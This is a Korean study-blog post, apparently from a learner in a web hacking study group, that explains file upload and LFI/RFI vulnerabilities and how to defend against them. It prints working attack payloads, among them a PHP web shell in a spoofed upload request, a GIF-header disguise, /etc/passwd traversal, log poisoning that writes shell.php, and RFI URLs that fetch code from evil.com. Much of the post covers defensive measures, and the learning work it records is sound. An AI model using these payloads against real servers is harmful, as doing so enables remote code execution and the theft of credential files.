
File Upload는 취약점으로 웹 서버가 사용자로부터 업로드된 파일의 이름, 유형, 내용 또는 크기를 적절하게 검증하지 않을 때 발생합니다
이러한 취약점은 공격자에게 악의적인 코드 실행, 서버 접근 권한 획득, SSRF, DoS 공격 등 다양한 공격 기회를 제공합니다
OWASP Top 10에서도 중요한 위험으로 다루고 있습니다
파일 업로드는 프로필 사진 첨부부터 문서 공유까지 다양한 기능에 활용되고 있으며 이를 안전하게 구현하는 것은 애플리케이션 보안의 핵심 요소입니다
불충분한 검증은 단순한 이미지 업로드 기능도 임의의 위험한 파일을 업로드하는 수단으로 변질시킬 수 있습니다
파일 업로드 취약점의 영향은 매우 다양하지만, 특히 치명적인 경우는 서버 측 실행 코드(예: PHP, JSP)가 포함된 파일이 검증 없이 업로드되어 웹 쉘로 작동할 때입니다
이는 공격자에게 서버에 대한 완전한 제어권을 부여할 수 있습니다
파일 업로드 취약점은 다양한 형태로 나타날 수 있으며 각각의 영향도 다릅니다
공격자가 파일 경로를 조작하여 서버의 예상치 못한 위치에 파일을 저장하거나 접근하는 취약점입니다
악의적인 파일이 웹 애플리케이션 내에 포함되어 실행될 수 있는 취약점입니다
업로드된 파일이 서버에서 코드로 실행되어 공격자가 서버에 명령을 실행할 수 있게 하는 취약점입니다
업로드된 파일에 악의적인 스크립트가 포함되어 다른 사용자의 브라우저에서 실행되는 취약점입니다
공격자들은 다양한 기술을 이용해 파일 업로드 보안 조치를 우회합니다
다음은 대표적인 방법들입니다
많은 웹 애플리케이션은 업로드되는 파일의 MIME 타입을 확인합니다
그러나 공격자는 Content-Type 헤더를 조작하여 악성 스크립트 파일을 이미지로 위장할 수 있습니다
예를 들어, PHP 웹 쉘을 업로드할 때 Content-Type: image/jpeg로 설정하면 간단한 검증을 우회할 수 있습니다
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=---------------------------123456789
-----------------------------123456789
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------123456789--
일부 서버는 파일 확장자 검증 시 마지막 확장자만 확인하지만, 실행 시에는 파일명에 가까운 확장자를 기준으로 처리하는 불일치를 이용한 공격 방법입니다
예를 들어 shell.php.jpg와 같은 파일명을 사용하면 일부 시스템에서는 이미지 파일로 인식되지만, 서버에서는 PHP 파일로 처리될 수 있습니다
Null 바이트 (%00, \x00)는 문자열을 종료시키는 역할을 합니다
이를 이용하여 파일명에 Null 바이트를 삽입하면 일부 시스템에서는 해당 문자 이후의 내용을 무시하게 됩니다
예를 들어, malicious.php%00.jpg는 서버에 따라 malicious.php로 처리될 수 있습니다
파일 내용을 조작하여 MIME 타입 검증을 우회하는 방법입니다
예를 들어 PHP 스크립트의 시작 부분에 GIF89a;와 같은 GIF 파일 헤더를 추가하면 mime_content_type() 함수가 해당 파일을 이미지로 오인할 수 있습니다
GIF89a;
<?php
system($_GET['cmd']); // 쉘코드
?>
파일 업로드 취약점을 막기 위해서는 다음과 같은 조치를 취해야 합니다
확장자 제한: 허용된 확장자 목록만 받아들이고 나머지는 모두 거부하는 화이트리스트 방식을 사용합니다
파일 타입 검증: Content-Type 헤더뿐만 아니라 파일 내용도 검사하여 실제 파일 형식을 확인합니다
파일 재구성: CDR (Content Disarm & Reconstruct)을 통해 PDF, DOCX 등 적용 가능한 파일을 재구성합니다
파일명 변경: 업로드된 파일의 이름을 무작위로 변경하여 공격자가 접근할 수 없게 합니다
파일 크기 제한: 최대 파일 크기 및 이름 길이를 제한하여 서비스 거부 공격을 방지합니다
저장 위치 관리: 업로드된 파일을 웹 루트 디렉토리 외부에 저장합니다
사용자 인증: 파일 업로드 전 사용자 인증을 요구합니다
악성코드 검사: 업로드된 파일을 안티바이러스 또는 샌드박스에서 검사합니다
CSRF 보호: 파일 업로드 기능을 CSRF 공격으로부터 보호합니다
단순한 오류 메시지: 오류 메시지에 디렉토리 경로나 서버 구성 설정 등 유용한 정보를 노출하지 않도록 합니다
File Inclusion 취약점은 웹 애플리케이션이 외부 입력을 사용하여 파일을 포함 (Include)할 때 사용자 입력을 적절히 필터링 하지 않으면 의도하지 않은 파일을 열거나 실행할 수 있는 취약점입니다
이 취약점은 OWASP Top 10에서도 지속적으로 상위권을 차지하고 있습니다
공격자가 웹 서버의 로컬 파일을 포함할 수 있는 취약점입니다
웹 애플리케이션이 사용자 입력 (예: URL 매개변수)을 통해 파일 경로를 조합하여 include() 등에 전달할 때, ../ 등의 경로 조작 (path traversal) 기법으로 서버의 민감 파일 (/etc/passwd, 애플리케이션 설정 파일, .env 등)에 접근할 수 있습니다
공격자가 원격 서버의 파일 (통상 공격자 제어 PHP 스크립트)을 포함하도록 하는 취약점입니다
PHP에서 allow_url_include=On 설정이 활성화된 경우 include("http://evil.com/shell.php")와 같이 외부 URL도 include()할 수 있으며, 이를 악용해 원격 코드를 실행할 수 있습니다
RFI는 포함 파일의 출처가 로컬이 아닌 외부라는 점이 LFI와 차이점이며, 일반적으로 LFI보다 더 위험하여 원격 코드 실행으로 이어질 수 있습니다
LFI/RFI 취약점은 동적 파일 로드 구현 시 사용자 입력을 경로에 직접 사용하면서 발생합니다
예를 들어 include($_GET['page']); 형태로 구현된 경우를 생각해보면 공격자는 파일명을 넘기는 page 파라미터를 조작하여 다음과 같은 단계를 수행할 수 있습니다
'../../' 등의 디렉터리 상승 기법을 사용하여 상위 디렉터리로 이동합니다공격 기법은 다음과 같습니다
LFI 취약점을 이용해 서버의 시스템 파일 및 애플리케이션 구성 파일에 접근하고 경로 순회 기법을 통해 제한된 디렉토리 외부로 이동합니다
주요 파일들은 아래와 같습니다
/etc/passwd (리눅스 사용자 계정 정보)
/etc/shadow (암호화된 패스워드)
web.config (ASP.NET 설정)
.env (환경 변수)
/proc/self/environ (프로세스 환경 변수)
다음은 간단한 예시입니다
http://vuln-site.com/?page=../../../../etc/passwd%00
%00을 사용하여 확장자 검증을 우회합니다
공격 흐름은 다음과 같습니다
GET /<?php system($_GET['cmd']);?> HTTP/1.1
User-Agent: <?php file_put_contents('shell.php','<?php system($_GET["c"]);?>');?>http://vuln-site.com/?page=/var/log/apache2/access.loghttp://vuln-site.com/?page=shell.php&c=id공격 흐름은 다음과 같습니다
파일 업로드 취약점으로 웹쉘 배포
<?php system($_GET['cmd']);?>
업로드 경로 식별
LFI를 통한 웹쉘 실행
http://vuln-site.com/?module=../uploads/tmp/shell.php
주요 우회 전략은 다음과 같습니다
| 기법 | 예시 |
|---|---|
| Null 바이트 | exploit.php%00.jpg |
| 더블 인코딩 | ..%252f..%252fetc%252fpasswd |
| PHP 필터 래퍼 | php://filter/convert.base64-encode/resource=config.php |
| 데이터 URI | data://text/plain,<?php phpinfo();?> |
| 경로 초과 입력 | a/../../../../../../etc/passwd |
우선 실행 조건으로 allow_url_include=On이어야 하며 방화벽 외부 통신이 허용이어야 합니다
공격 흐름은 아래와 같습니다
http://vuln-site.com/?lib=http://evil.com/cmd.txthttp://vuln-site.com/?lib=http://evil.com/cmd.txt&cmd=whoamiLFI/RFI 공격을 방어하기 위해서는 개발 단계부터의 보안 설계와 서버 설정 강화가 필수적입니다
주요 방어 기법은 다음과 같습니다
사용자 입력을 파일 경로로 직접 사용하지 않고, 반드시 화이트리스트 방식으로 처리합니다
예를 들어 $_GET['file'] 파라미터 대신 파일 ID를 받아 미리 정의된 배열에서 경로를 선택하는 방식입니다
또한 basename(), realpath() 함수를 사용해 경로 조작을 방지합니다
파일 이름이나 확장자에 대한 화이트리스트 검사를 수행하거나, 길이와 특수 문자(../, \x00 등)를 차단합니다
정규식을 활용해 허용된 패턴 외 모든 입력을 거부하면 LFI 취약점 위험을 크게 줄일 수 있습니다
php.ini에서 allow_url_include = Off를 명시하고 allow_url_fopen = Off로 설정합니다
이렇게 하면 원격 URL 포함 및 파일 열기가 차단됩니다
또한 open_basedir 디렉티브로 PHP가 접근할 수 있는 디렉터리를 제한하여, 애플리케이션 루트 바깥 파일 접근을 원천적으로 막습니다
웹 서버 유저의 권한을 최소화하고, 민감 파일은 웹 루트 밖에 두거나 권한을 제한합니다
웹 애플리케이션이 쓰기 권한이 없는 디렉터리 구조를 설계하면 임의 파일 업로드나 로그 변조 위험을 감소시킬 수 있습니다
ModSecurity 같은 웹 방화벽 (WAF)을 도입해 ../, %2e, php:// 등 의심스러운 패턴을 포함한 요청을 차단 및 로그를 남깁니다
웹 서버 로그를 정기적으로 분석하여 비정상적인 파일 접근 시도를 탐지하고, 경로 조작 흔적을 찾습니다
개발자에게 파일 포함 취약점의 위험성을 교육하고, 코드 리뷰·정적 분석 과정에서 include/require 사용 부분을 점검합니다
정리하면서 든 생각인데 LMS로 파일 업로드 시 .sh 파일이 업로드되지 않는 것도 어쩌면 이런 문제를 해결하기 위한 방법이 아닐까 싶습니다 (과제 제출용으로 작성한 .sh 파일입니다ㅎㅎ)
어느덧 제가 하던 웹 해킹 스터디도 거의 마무리가 되어갑니다
기초적인 부분에 대한 커리큘럼을 알려주시고 제가 그걸 토대로 따라갈 수 있어서 좋았던 것 같습니다
예전에도 이쪽으로 공부를 해보고 싶었으나 어떻게 해야할지 잘 몰라서 제대로 하지는 못했는데 이제는 그때보다 더 나아진 것 같습니다ㅎㅎ
스터디는 곧 끝나지만 앞으로도 더 찾아보고 학습할 수 있도록 노력해보겠습니다 :)